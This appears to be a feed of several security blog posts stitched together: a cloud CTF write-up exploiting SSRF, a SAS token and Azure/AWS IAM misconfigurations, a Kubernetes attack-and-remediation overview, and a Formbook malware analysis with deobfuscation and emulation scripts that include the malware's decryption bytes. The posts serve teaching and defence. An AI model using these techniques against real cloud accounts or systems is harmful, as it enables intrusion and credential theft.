[2] https://help.zscaler.com/client-connector/reverting-zscaler-client-connector

[3] https://itm4n.github.io/windows-dll-hijacking-clarified/

[4] https://github.com/googleprojectzero/symboliclink-testing-tools

[5] https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks

[6] https://www.mandiant.com/resources/blog/arbitrary-file-deletion-vulnerabilities

Cache me if you can — Local Privilege Escalation in Zscaler Client Connector was originally published in CSG @ GovTech Singapore on Medium, where people are continuing the conversation by highlighting and responding to this story.

Apart from utilising the cat pictures, there were three design principles in mind when creating the challenge:

1. To host the challenge in a multi-cloud environment

There are several cloud service providers available in the market, such as Amazon Web Service (AWS) and Microsoft Azure. While there are similarities in the types of cloud computing services provided (e.g., AWS EC2 and Azure Virtual Machine), the behavior and implementation could be relatively different among different cloud environments.

To push the participants, and myself, a little more, I wanted the challenge to span across AWS and Microsoft Azure.

2. To explore a different exploitation path from the CloudyNekos challenge

In 2022, we submitted a challenge to CSIT’s “The InfoSecurity Challenge” (TISC), which consists of horizontal and vertical privilege escalation within the Amazon Web Service (AWS) cloud environment with resource creation permissions.

For STF, I wanted to create something different and leverage mainly read-only permissions for lateral movement.

3. To focus on enumeration

Being stuck in a rabbit hole is frustrating — sometimes it feels like there is no light at the end of the tunnel until we realize that we missed important information that may open a new path for exploration or help eliminate unviable exploits. Since this challenge leverages on read-only privileges, enumeration is key!

While the Secret of Meow Olympurr is no longer live, you may read the rest of the article to experience and learn more about it!

Challenge statement

Jaga reached Meow Olympurr and met some native Meows. While cautious at first, they warmed up and shared that they have recently created a website to promote tourism!

However, the young Meows explained that they are not cy-purr security trained and would like to understand what they might have misconfigured in their environments. The young Meows were trying to get two different environments to work together, but it seemed like something was breaking….

Log a cy-purr security case by invoking the mysterious function and retrieve the secret code!

Technical walkthrough

At the start of the challenge, a CloudFront URL was provided to the participants.

Upon browsing to the error page, a broken image link was shown.

From the page source, it was observed that the developers were attempting to retrieve the image via a Cross-Origin Resource Sharing (CORS) server.

Since CloudFront is an AWS service, the CORS server might be hosted on an AWS EC2.

Server-side Request Forgery (SSRF) attack is a popular method to steal AWS EC2 metadata credentials:

SSRF vulnerabilities allow attackers to make unauthorized requests from web applications. Since these requests come from the application itself, they can be used to access internal resources that the application has access to but that was not intended to be accessible to outsiders.

We can try accessing the AWS EC2 Instance Metadata Service (IMDS) via the IP address: 169.254.169.254.

When interacting with IMDS, it was observed that the iam path was not present.

Another set of credentials can be found at /identity-credentials/ec2/security-credentials/ec2-instance, which was created regardless of the use of instance identity roles. Since the iam path was not present, it was safe to conclude that IAM role was not attached to the EC2.

Moving on to the next clue — the Azure static website URL.

This time, the image on the error page loaded successfully.

A shared access signature (SAS) token was found on the HTML page, which allows access to the source codes.

A shared access signature is a token that is appended to the URI for an Azure Storage resource. The token contains a special set of query parameters that indicate how the resources may be accessed by the client.

We can use Azure Storage Explorer to connect to the storage account.

A readme.md file was found in the dev container.

Given the instructions and details, there are three key areas to explore:

1. Interact with the function app.
2. Authenticate using the service principal credentials and tenant ID.
3. Extract the function app’s source code using the SAS token. However, we are missing the storage account name to use the SAS token.

Let us explore in sequence — first up, interacting with the function app.

The instructions on how to interact with the function app are included on the home page.

Upon supplying the URL parameter, it was noted that the function app queries and returns the page source.

Here, we may eliminate leveraging SSRF to communicate with Azure IMDS, as it requires an HTTP Request header. On a side note, SSRF may also be eliminated as an attack path in AWS if the EC2 is configured to use only IMDSv2.

Moving on to the next item — authenticating with Azure CLI using the service principal credentials and tenant ID.

We can list all resources in the current subscription using the Get-AzResource command.

From the results, we can identify a second storage account, which has a similar name to the function app.

The blob container SAS URL can be formed using the storage account name, container name and SAS token:

https://meowvellousappstorage.blob.core.windows.net/scm-releases?sv=2018-11-09&sr=c&st=2022-09-01T00%3A00%3A00Z&se=2022-12-12T00%3A00%3A00Z&sp=rl&spr=https&sig=jENgCFTrC1mYM1ZNo%2F8pq1Hg9BO1VLbXIk%2FpABrK4Eo%3D

Inspect the zip file and note that it stores the source codes of the function app.

It is time for some source code analysis!

Boto3 is the AWS Software Development Kit (SDK) for Python and provides an API for AWS infrastructure services. The AWS credential was retrieved from the Azure key vault upon each API call to invoke the AWS Lambda function.

Since the service principal has the same privileges as the function app, we can retrieve the AWS secret access key using the vault name (in the vault_url) and key name.

We have gained access to AWS!

With that, it is time to enumerate our current access in AWS.

The IAM user entity is attached with two policies and a permission boundary. The two policies are:

1. azure-policy

{
    "Version": "2012-10-17",
    "Statement": [            
      {
        "Action": [
          "iam:GetPolicy",
          "iam:GetPolicyVersion"
        ],
        "Resource": "*",
        "Effect": "Allow"
      },
      {
        "Effect": "Allow",
        "Action": [
            "iam:ListAttachedUserPolicies"
        ],
        "Resource": "arn:aws:iam::<ACCOUNT_ID>:user/azure_user"
      },
      {
        "Action": [
          "lambda:Invoke*",
          "lambda:ListFunctions",
          "lambda:CreateFunction",
          "logs:CreateLogGroup",
          "logs:CreateLogStream",
          "logs:PutLogEvents",
          "lambda:UpdateFunctionCode"
        ],
        "Resource": "*",
        "Effect": "Allow"
      }
    ]
  }

2. azure-policy-extended

{
    "Version": "2012-10-17",
    "Statement": [            
      {
        "Action": [
          "iam:GetPolicy",
          "iam:GetPolicyVersion",
          "iam:AddUserToGroup",
          "iam:AttachUserPolicy",
          "iam:CreateRole",
          "iam:AttachRolePolicy",
          "iam:PassRole"
        ],
        "Resource": "*",
        "Effect": "Allow"
      },
      {
        "Effect": "Allow",
        "Action": [
            "iam:ListAttachedUserPolicies",
            "iam:GetUser"
        ],
        "Resource": "arn:aws:iam::<ACCOUNT_ID>:user/azure_user"
      },
      {
        "Action": [
          "lambda:Invoke*",
          "lambda:ListFunctions",
          "lambda:CreateFunction",
          "logs:DescribeLogGroups",
          "logs:DescribeLogStreams",
          "logs:GetLogEvents",
          "lambda:UpdateFunctionCode"
        ],
        "Resource": "*",
        "Effect": "Allow"
      },
      {
        "Action": [
          "cloudformation:CreateStack"
        ],
        "Resource": "*",
        "Effect": "Allow"
      }
    ]
  }

Interestingly, the permissions seemed to allow privilege escalation; for example, using the iam:CreateRole, lambda:CreateFunction, iam:PassRole and lambda: InvokeFunction permissions.

However, these actions were denied — because of the permission boundary:

{
    "Version": "2012-10-17",
    "Statement": [   
      {
        "Action": [
          "iam:*",
          "lambda:*"
        ],
        "Resource": "*",
        "Effect": "Allow"
      },
      {
        "Action": [
          "lambda:*"
        ],
        "Resource": "arn:aws:lambda:ap-southeast-1:<ACCOUNT_ID>:function:amplify-*",
        "Effect": "Deny"
      },
      {
        "Action": [
          "lambda:InvokeAsync",
          "iam:Generate*",
          "iam:Add*",
          "iam:Create*",
          "iam:Put*",
          "lambda:InvokeFunctionUrl",
          "iam:Delete*",
          "logs:Put*",
          "iam:Deactivate*",
          "iam:Enable*",
          "logs:Create*",
          "iam:Pass*",
          "lambda:List*",
          "iam:Attach*",
          "lambda:Create*",
          "lambda:Update*",
          "cloudformation:*"
        ],
        "Resource": "*",
        "Effect": "Deny"
      },
      {
        "Action": [
          "logs:Describe*"
        ],
        "Resource": "*",
        "Effect": "Allow"
      },
      {
        "Action": [
          "logs:*"
        ],
        "Resource": "arn:aws:logs:ap-southeast-1:<ACCOUNT_ID>:log-group:/aws/lambda/*-webservice:*",
        "Effect": "Allow"
      }
    ]
  }

When evaluating IAM policy logic, deny statements take precedence. The effective permissions works out to be:

{
    "Version": "2012-10-17",
    "Statement": [            
      {
        "Action": [
          "iam:GetPolicy",
          "iam:GetPolicyVersion"
        ],
        "Resource": "*",
        "Effect": "Allow"
      },
      {
        "Effect": "Allow",
        "Action": [
            "iam:ListAttachedUserPolicies",
            "iam:GetUser"
        ],
        "Resource": "arn:aws:iam::<ACCOUNT_ID>:user/azure_user"
      },
      {
        "Action": [
          "lambda:InvokeFunction",
          "logs:DescribeLogGroups",
          "logs:DescribeLogStreams",
          "logs:GetLogEvents",

        ],
        "Resource": "*",
        "Effect": "Allow"
      }
    ]
  }

Going back to the challenge description, the objective was to invoke a secret function. While lambda:ListFunction is not allowed, we have logs:DescribeLogGroups!

Lambda automatically integrates with CloudWatch Logs and pushes all logs from your code to a CloudWatch Logs group associated with a Lambda function, which is named /aws/lambda/<function name>.

Bingo — we can infer the function name from the log group name!

Invoke the Lambda function and the flag is returned in the response!

Conclusion

As we move to the cloud and/or hybrid environment, it is important to note that cloud service providers adopt a shared responsibility model.

Customers are responsible for ensuring that the permissions assigned follow the principle of least privileges. This challenge also demonstrates the ability to gain meaningful insights and lateral moves between cloud environments with read-only privileges!

If you are looking for more Cloud challenges and adorable cat pictures, fret not, TISC is back for its next run. Who knows, we might meet there again ;)

STF Secret of Meow Olympurr: Creating a CTF Challenge with Cat Pictures Part 2 was originally published in CSG @ GovTech Singapore on Medium, where people are continuing the conversation by highlighting and responding to this story.

Introduction

The explosive usage growth of Kubernetes over the last decade was a huge spectacle. However, Rome was not built in a day, and just like every other major technology stack in use today, it took several decades for containerisation technology to mature before Kubernetes presented itself as the best articulation at its current stage.

As more applications are containerised, orchestration engines such as Kubernetes have become extremely popular. As an orchestration engine, Kubernetes helps to manage, scale and deploy containerised applications. That said, there are tons of different orchestration engines (such as Docker Swarm) — so why does Kubernetes remain so popular? A quick answer lies in Kubernetes being feature-rich, packed with capabilities such as self-healing and auto-scaling. On top of that, Kubernetes is implemented as a managed service by most cloud service providers (CSP). This cements its position as the “Gold standard” for orchestration engines. Kubernetes adoption is still growing, with 96% of organisations using or evaluating Kubernetes. (https://thenewstack.io/is-kubernetes-adoption-slowing/)

Mo’ Honey Mo’ Problems

With the widespread usage of Kubernetes, it is no surprise that it is also a prized attack surface that attackers are actively trying to sniff out and exploit. With its new-ish ascendance, developers also make mistakes in its implementation, configuration or deployment.

This article is the first in our series regarding Kubernetes security. It will provide an overview of some common attacks, and basic security best practices for Kubernetes. Subsequent articles will dive deeper into more complex attacks, such as HostPath Mounting, trampoline pods/nodes, etc, and their remediations.

To understand the attacks, we must first understand the Kubernetes architecture, the high-level diagram below is a good starting point. Feel free to skip to “Attack Methodology” if you are already familiar with the Kubernetes architecture and its fundamentals.

Kubernetes Architecture Diagram

Pods

Kubernetes comprises of many moving parts, and its lowest working unit is known as a POD. A pod can host multiple different containers and storage volumes. Each pod also has its unique IP address. It is also ultra-scalable as it is based on deployment blueprints (yaml file).

Nodes

To keep things simple for everyone, we will just breakdown the type of nodes to:

● Worker Nodes

● Master Node

A set of nodes forms a cluster.

Worker Nodes:

Pods reside on these worker nodes that can either be virtual or physical machines. You can think of them as host machines for pods.

Master Node:

A Master Node is the ultimate administrator over the entire cluster. It controls and manages all worker nodes, which include the following components: Kube-API server, Kube-Controller-Manager, Kube Scheduler, etc.

Namespace

A Kubernetes namespace is an isolation mechanism that isolates resources within a cluster, generally used when different teams are working on the same cluster. In the cybersecurity context, each namespace object/resource is unique to the namespace. Cross-namespace invocation of object/resource is impossible as these objects/resources are isolated within their namespaces.

Now with all this new knowledge, you should have a fundamental understanding of the Kubernetes environment. Let’s move on to the juicier side of things, how does one attack Kubernetes?

Attack Methodology

A sophisticated attacker’s methodology can be broken down into three stages.

Stage 1: Initial foothold

The primary way to gain an initial foothold is to compromise a web application or microservice hosted on the cluster. The attacker’s objective is to gain remote code execution on the application by enumerating the application and identifying exploitable vulnerabilities (e.g. log4shell, apache struts).

Stage 2: Privilege Escalation

Upon gaining a foothold into the Kubernetes cluster, an attacker would be inside a pod, which, as explained, is simply a docker container. An attacker could sniff the container for sensitive data but is limited to what is available. . As such, the attacker will look to escalate to either a pod with more privileges or to a node.

The following are some common techniques an attacker would employ:

• Sensitive Files

Upon compromising a pod, an attacker would look for credentials such as SSH keys or passwords that would enable lateral movement to other pods that may have higher privileges. Another file an attacker would go for is the service account token, which is typically found in pods that host a long-running service. This service account token is mounted on the pod for the application to access the Kubernetes API server. An attacker can use the service account token to perform malicious operations, such as creating pods in different namespaces or even reading sensitive information from the secrets resource.

Remediation:

In addition to the standard practice of not leaving sensitive credentials unencrypted in a pod, a Kubernetes administrator should adhere to the principles of least privilege when providing privileges to the service account token.

• Reachable Applications

The attacker would enumerate the network with tools like ping or nmap and get a sense of what other applications are reachable. From there, an attacker will identify and exploit the vulnerabilities in the newly discovered applications. The aim here is to gain remote code execution on applications that exist in other namespaces.

Remediation:

To manage which pods, namespaces or even external servers can reach a particular Kubernetes resource, a Kubernetes administrator can use the Kubernetes network policy resource.

• Cloud Metadata Services

Access to the cloud metadata service (e.g. AWS instance metadata) can be a major find for an attacker. The attacker would be able to extract credentials from the metadata service, which can be used to interact with other sensitive cloud services such as AWS secrets manager. The credentials could also have further access into the cluster, such as gaining access to another pod with a different namespace.

Remediation:

The Kubernetes administrator can utilise the aforementioned Kubernetes network policy resource to prevent an attacker from reaching the cloud metadata API and other applications hosted within the cluster not required for core business functions.

• Pod breakout

An attacker can break out of a pod by exploiting misconfiguration in the Kubernetes cluster. Some common misconfigurations we have identified over numerous penetration tests are overly permissive capabilities (e.g. SYS_ADMIN), pod running in privileged mode and allowing host path mounts. An attacker can utilise the misconfigurations to break out of the pod into other pods or, worse, to the worker node on which the pod is running..

Remediation:

The Kubernetes administrator can utilise the admission controller resource, a Kubernetes resource that validates every resource being created in the Kubernetes cluster by a defined ruleset. A resource that does not comply with the defined ruleset would fail to be created, resulting in an error.

Stage 3: Getting the crown jewels

In the Kubernetes ecosystem, the crown jewels refer to the master node. An attacker who has gained full access to the master node would essentially have complete control of the Kubernetes cluster. The attacker would repeat the techniques detailed in stages 1 and 2, to laterally move from an infected pod to the underlying node and then finally to the master node. To prevent this worst-case scenario from occurring, a Kubernetes administrator must ensure that the cluster is securely configured with some of the remediations mentioned above.

Is that all?

For a more comprehensive look at your organisation’s Kubernetes security posture, we recommend that you utilise Microsoft’s Kubernetes attack matrix. The matrix comprises major tactics that are relevant to Kubernetes security. Each one of them contains several techniques attackers can use to achieve different goals.

Conclusion

As more organisations adopt Kubernetes as the de facto tool for managing container orchestration, more sensitive data will end up on Kubernetes clusters. There is an even greater need for system administrators looking to set up their cluster to get it securely configured. An attacker with full access to the master node of a Kubernetes cluster is the last thing a CISO would want to see.

Watch out for our upcoming articles, where we will share more in-depth and specific attacks that we commonly see in the field today.

Take care and catch you on the FLIPPETY-FLIP.

Pwning Kubernetes was originally published in CSG @ GovTech Singapore on Medium, where people are continuing the conversation by highlighting and responding to this story.

For a long time, malware authors have built and deployed multi-stage malware to evade detection mechanisms and frustrate malware analysis efforts. When you think you have cleared the final hurdle to find the malware’s core functionality, another level of obfuscation presents itself.

In this post, we will go through a couple of cool, reliable tools and techniques that help us discover the inner workings of one such malware. These will be useful and can be applied across analysis or reverse engineering of other malware.

Link to the malware via VirusTotal can be accessed here: https://www.virustotal.com/gui/file/564cbc7e47b7a758c8590dfe0aec63d8ff8ab465dea054292ab1027fbd70fb20

Delivery

Email remains the most popular way to deliver malware. Archive File Formats such as ZIP and ACE files, ISO image files, and HTML files are the most common avenues used to smuggle nasty payloads when opened by their victims. Phishing emails, for instance, can be cleverly crafted to entice recipients to open these files, executing their contents. This typically leads to the start of the multi-stage execution of the malware. Since an adversary may need to rely on follow-on behaviour by a victim upon receiving the phishing email to achieve execution of their malware, a common method to build a payload for the victim to execute is to package the malware using NSIS into a single, easy-to-click executable.

NSIS Installers

NSIS (Nullsoft Scriptable Install System) is a script-driven open-source system to create Windows installers. Its ubiquity, flexibility and extensive capabilities make it a great pick for malware authors seeking to package their malware into one executable file.

At first glance, this may look like a normal PE Executable. But with the “Detect It Easy” tool, we quickly find that it is an NSIS Installer. We can then use a tool like 7-Zip to unzip and inspect all files packaged, including the main NSI script, which runs when the NSIS Installer is clicked.

Upon opening the NSIS installer with 7-zip, we see a couple of files contained within and a [NSIS].nsi file. The [NSIS].nsi file is the NSI script controlling what happens when the installer is clicked. We can inspect its contents using any text editor software.

We want to focus on what the malware is doing here. It sets the output path to $INSTDIR, which was set to the $temp environment variable in an earlier part of the script. The “File” command then extracts each file to the output path. After the files are copied to the Windows temp directory, ExecWait executes the “eiwshq.exe” executable with “xnntpm.au3” as its argument. Both these files are found within the NSIS Installer.

AutoIt v3

AutoIt is another open-source project with powerful capabilities for automating the Windows GUI and general scripting. Malware authors widely use it in the infection execution chain due to its capabilities.

We quickly identify that “eiwshq.exe” turns out to be the AutoIt Application.

The AutoIt script, “xnntpm.au3”, will be passed to the application for execution. At first glance, we can see that $A30diehlk seems to be an alias for the Chr function. The Chr function returns a character corresponding to its ASCII code, which is what we observe here, albeit another layer of obfuscation using the subtraction of two integers to prevent us from calculating the ascii code easily.

A simple python script will help make the integer calculations, convert the ascii code to its associated character and replace in-place. This should do the trick to make the code human-readable and allow us to understand what the AutoIt Script is programmed to do.

import re

def readfilelines(filename):
    file1 = open(filename, 'r')
    Lines = file1.readlines()   
    return Lines
    
    
def deobfuscate_chr(txt):
    if txt == "":
        return
        
    while True:
        current_char = re.search("Chr\(.*?\)",txt)
        if current_char == None:
            break
        else:
            current_char_arithmetic = chr(eval(current_char.group()[4:-1]))

try:
                txt = re.sub("Chr\(.*?\)", current_char_arithmetic, txt, 1)
            except:
                if current_char_arithmetic == "\\":
                    txt = re.sub("Chr\(.*?\)", "\\\\", txt, 1)
                else:
                    txt = re.sub("Chr\(.*?\)", "<ERROR>", txt, 1)
    print(txt.replace(" & ", ""))
    
def main():
    lines = readfilelines("xnntpm.au3")
    for line in lines:
        #replace all $A30diehlk with Chr
        line = line.replace("$A30diehlk","Chr")
        deobfuscate_chr(line)
    
main()

After running the deobfuscation script, we can manually replace the rest of the alias to make the code look more readable.

We can see that the script essentially reads the “yecrxn.ke” file and removes all instances of “448782054140” in the file. It uses Windows API functions such as VirtualAlloc to create a region of memory, and EnumTimeFormatsA to execute the decoded shellcode in “yecrxn.ke”.

We can do the same now that we know what the AutoIt script was doing. Remove all instances of “448782054140” in the next stage shellcode file and then use a scripting language like python to read from the file and write its bytes into a binary format file. We can then use IDA or Ghidra to analyse the shellcode.

Shellcode Analysis

Once the shellcode file opens in IDA, we can reverse engineer the disassembly to make sense of what this stage of the payload is doing. Upon execution,we see that the shellcode reads the “zkhlbwzloru.xft” file, which is also contained in the NSIS installer. The filesize is checked, and the address pointer to the data buffer containing the contents of the file is passed to a decryption function using the EDI register.

We identify a long looping subroutine that decrypts the “zkhlbwzloru.xft” file contents.

Faced with this issue, we realised that there was no way we could decrypt and run the next stage code contained in “zkhlbwzloru.xft” manually. Unicorn to the rescue!

Unicorn

Unicorn is a lightweight multi-platform, multi-architecture CPU emulator framework. In our case, we can use it to emulate the execution of the decryption subroutine and give us the decrypted final payload.

The python script below achieves that by first reading bytes from the “zkhlbwzloru.xft” file and storing it in an emulated memory region. The decryption function is then imported into our python script in its hex form, and will be the opcodes to be run by the emulated CPU.

Just as how it was in the actual shellcode, we will set the address pointer to the memory region containing the encrypted file data through the EDI register. The other registers used with the subroutine will also have to be properly initialised.

Once the decryption function from the malware runs in the emulator, the bytes from the original “zkhlbwzloru.xft” file will be decrypted. We will then use the binascii python module to format the decrypted data and write it into a new file named “zkhlbwzloru-decrypted.bytes”

from unicorn import *
from unicorn.x86_const import *
import binascii

#read bytes from file
with open("zkhlbwzloru.xft", "rb") as f:
    X86_ENCRYPTED_SHELLCODE = f.read()

# code to be emulated (Decryption Function)
X86_CODE32 = b"\x8A\x04\x1F\xB1\xB3\x2A\xC3\x34\x5F\xC0\xC0\x02\x2C\x56\x32\xC3\xF6\xD8\xC0\xC0\x02\x34\x5F\xF6\xD0\x2C\x4D\x32\xC3\x34\xB3\xC0\xC0\x03\x2A\xC3\x34\x54\xF6\xD8\x32\xC3\xC0\xC8\x02\x04\x3D\xC0\xC0\x02\x2C\x4E\xD0\xC0\x2A\xC8\xB0\x95\x32\xCB\x80\xE9\x43\x80\xF1\xE2\x02\xCB\xF6\xD1\x32\xCB\xD0\xC9\x2A\xCB\x80\xF1\xB2\x80\xC1\x1C\xF6\xD1\x80\xC1\x49\x80\xF1\x52\xC0\xC1\x02\x2A\xC1\xB1\xA7\x34\x02\x2C\x31\xD0\xC8\xF6\xD0\x2A\xC3\x32\xC3\x2A\xC8\x2A\xCB\x32\xCB\x80\xE9\x40\x32\xCB\xF6\xD1\x80\xE9\x7D\xC0\xC9\x02\xF6\xD9\xC0\xC9\x02\x80\xF1\x03\x80\xE9\x2A\xC0\xC1\x03\x88\x0C\x1F\x43\x3B\xDE\x0F\x82\x66\xFF\xFF\xFF" # Decoding Function

# memory address where emulation starts
ADDRESS = 0x1000000
# memory address where encrypted shellcode starts
ADDRESS_EncryptedShellcodeBuffer = 0x2000000

print("Emulate i386 code")
try:
    # Initialize emulator in X86-32bit mode
    mu = Uc(UC_ARCH_X86, UC_MODE_32)

# map 2MB memory for this emulation
    mu.mem_map(ADDRESS, 2 * 1024 * 1024)
    mu.mem_map(ADDRESS_EncryptedShellcodeBuffer, 2 * 1024 * 1024)
    
    # write machine code to be emulated to memory
    mu.mem_write(ADDRESS, X86_CODE32)
    mu.mem_write(ADDRESS_EncryptedShellcodeBuffer, X86_ENCRYPTED_SHELLCODE)
        
    # initialize machine registers
    mu.reg_write(UC_X86_REG_ECX, 0x0)
    mu.reg_write(UC_X86_REG_ESI, len(X86_ENCRYPTED_SHELLCODE))
    #mu.reg_write(UC_X86_REG_EDX, 0x7890)
    mu.reg_write(UC_X86_REG_EDI, ADDRESS_EncryptedShellcodeBuffer)

# emulate code in infinite time & unlimited instructions
    mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32))

# now print out some registers
    print("Emulation done. Below is the CPU context")
    r_eax = mu.reg_read(UC_X86_REG_EAX)
    r_ecx = mu.reg_read(UC_X86_REG_ECX)
    r_edx = mu.reg_read(UC_X86_REG_EDX)
    r_ebx = mu.reg_read(UC_X86_REG_EBX)
    r_edi = mu.reg_read(UC_X86_REG_EDI)
    r_esi = mu.reg_read(UC_X86_REG_ESI)
    
    # read the decrypted shellcode into variable
    mem_EncryptedShellcodeBuffer = mu.mem_read(r_edi,len(X86_ENCRYPTED_SHELLCODE))

# write the decrypted shellcode into a new file "zkhlbwzloru-decrypted.bytes"
    with open('zkhlbwzloru-decrypted.bytes', 'wb') as fout:
        for b in mem_EncryptedShellcodeBuffer:
            
            fout.write(
                binascii.unhexlify("{:02x}".format(b))
            )
            
    
except UcError as e:
    print("ERROR: %s" % e)

The Final Boss — Formbook Infostealer

After decrypting the final payload, we can continue to run our analysis, or do a simple hash check against OSINT sources such as VirusTotal.

Based on information from VirusTotal, the final payload, “zkhlbwzloru-decrypted.bytes” that we decrypted earlier is a Windows Portable Executable many AV vendors categorise as Formbook Infostealer malware.

Some of the Network IOCs returned by VirusTotal

Link to the Formbook malware via VirusTotal can be accessed here: https://www.virustotal.com/gui/file/076f6d91e7dd2dcbcae3c16aae2438a058eb95458720e2ad3f6bde0f567134d0

Conclusion

Multi-stage malware is challenging to analyse for cyber defence and incident response teams everywhere.

The tactics deployed by the malware author discussed in this post are by no means the only ones. There are countless methods and edge cases where Cyber Adversaries continually push boundaries and increase the sophistication level of malware throughout the infection chain.

The more we understand the evasion tactics and techniques used in malware, the better we can defend against them.

Meet The Final Boss— Clearing each level of Multi-Stage Malware was originally published in CSG @ GovTech Singapore on Medium, where people are continuing the conversation by highlighting and responding to this story.